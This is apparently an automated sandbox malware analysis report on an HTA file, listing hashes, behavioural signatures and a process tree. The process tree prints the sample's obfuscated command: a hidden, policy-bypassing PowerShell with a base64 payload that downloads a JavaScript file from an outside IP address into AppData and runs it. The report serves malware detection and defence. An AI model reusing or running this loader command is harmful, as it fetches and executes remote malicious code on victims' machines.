Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
23/04/2026, 00:33
Static task
static1
Behavioral task
behavioral1
Sample
wecreatedbestbusiness.hta
Resource
win10v2004-20260130-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
wecreatedbestbusiness.hta
Resource
win11-20260130-en
6 signatures
150 seconds
General
- Target wecreatedbestbusiness.hta
- Size 46KB
- Sample260423-awg71sf14k
- SHA256 212ef91bad35d2de74440d65e171a6eb615b1f393d7139612921312479b40169
- MD5 cea0350ef1e214089ec371e011a0fcf2
- SHA1 72ae7dccf610bce33939c9f24e01ad75dda07f59
- SHA512 69dd31bcdd3c86d1511f562bede5e9397133f118220003bea55c15a43ec32af9745934915d00d539cada7f0bcee6f0d83ef6d8bffd59cae0a9696950263933c8
- SSDEEP 192:L8/8q7qyqvqsA/IqAqDf6x/k/o4+66/y/p/2:LuO5CZ/Df6o+j
- TLSH T19F23A47FA314544D181FE2646AF8E6929EED9CF96228EB20FA1D157363BD007D83C6C4
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 3128 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3128 powershell.exe 3128 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3128 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 484 wrote to memory of 3308 484 mshta.exe 79 PID 3308 wrote to memory of 3128 3308 cmd.exe 81
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\wecreatedbestbusiness.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:484 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C POwerShEll.EXE -ex bypaSs -Nop -W 1 -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAFcAZwBFAHQAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAxADMANgAuADIAMgA0AC8AMQAzAC8AYgB1AHMAaQBuAGUAcwBzAGkAbgBkAHUAcwB0AHIAeQBnAG8AbwBkAGYAbwByAC4ASgBTAB0gIAAJAAkACQAJAC0ATwBVAHQAZgBpAGwAZQAgACAAIAAJAAkAIAAJACAACQAgAAkACQAgAAkAIAAJAAkAIAAgAAkACQAgAB0gJABFAE4AdgA6AEEAcABQAEQAQQB0AEEAXABiAHUAcwBpAG4AZQBzAHMAaQBuAGQAdQBzAHQAcgB5AGcAbwBvAGQAZgBvAHIALgBKAFMAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOwAgAAkACQAgACAACQAgAAkACQAJAAkACQAgAAkACQAgACAAIAAJACAAIAAgACYAIAAJAAkACQAJAAkACQAJAAkAHSAkAEUAbgBWADoAQQBQAHAARABBAFQAYQBcAGIAdQBzAGkAbgBlAHMAcwBpAG4AZAB1AHMAdAByAHkAZwBvAG8AZABmAG8AcgAuAEoAUwAdIA== "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePOwerShEll.EXE -ex bypaSs -Nop -W 1 -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAFcAZwBFAHQAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gaAB0AHQAcAA6AC8ALwAxADkAMgAuADMALgAxADMANgAuADIAMgA0AC8AMQAzAC8AYgB1AHMAaQBuAGUAcwBzAGkAbgBkAHUAcwB0AHIAeQBnAG8AbwBkAGYAbwByAC4ASgBTAB0gIAAJAAkACQAJAC0ATwBVAHQAZgBpAGwAZQAgACAAIAAJAAkAIAAJACAACQAgAAkACQAgAAkAIAAJAAkAIAAgAAkACQAgAB0gJABFAE4AdgA6AEEAcABQAEQAQQB0AEEAXABiAHUAcwBpAG4AZQBzAHMAaQBuAGQAdQBzAHQAcgB5AGcAbwBvAGQAZgBvAHIALgBKAFMAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOwAgAAkACQAgACAACQAgAAkACQAJAAkACQAgAAkACQAgACAAIAAJACAAIAAgACYAIAAJAAkACQAJAAkACQAJAAkAHSAkAEUAbgBWADoAQQBQAHAARABBAFQAYQBcAGIAdQBzAGkAbgBlAHMAcwBpAG4AZAB1AHMAdAByAHkAZwBvAG8AZABmAG8AcgAuAEoAUwAdIA== "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3128
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkehue4w.ccy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH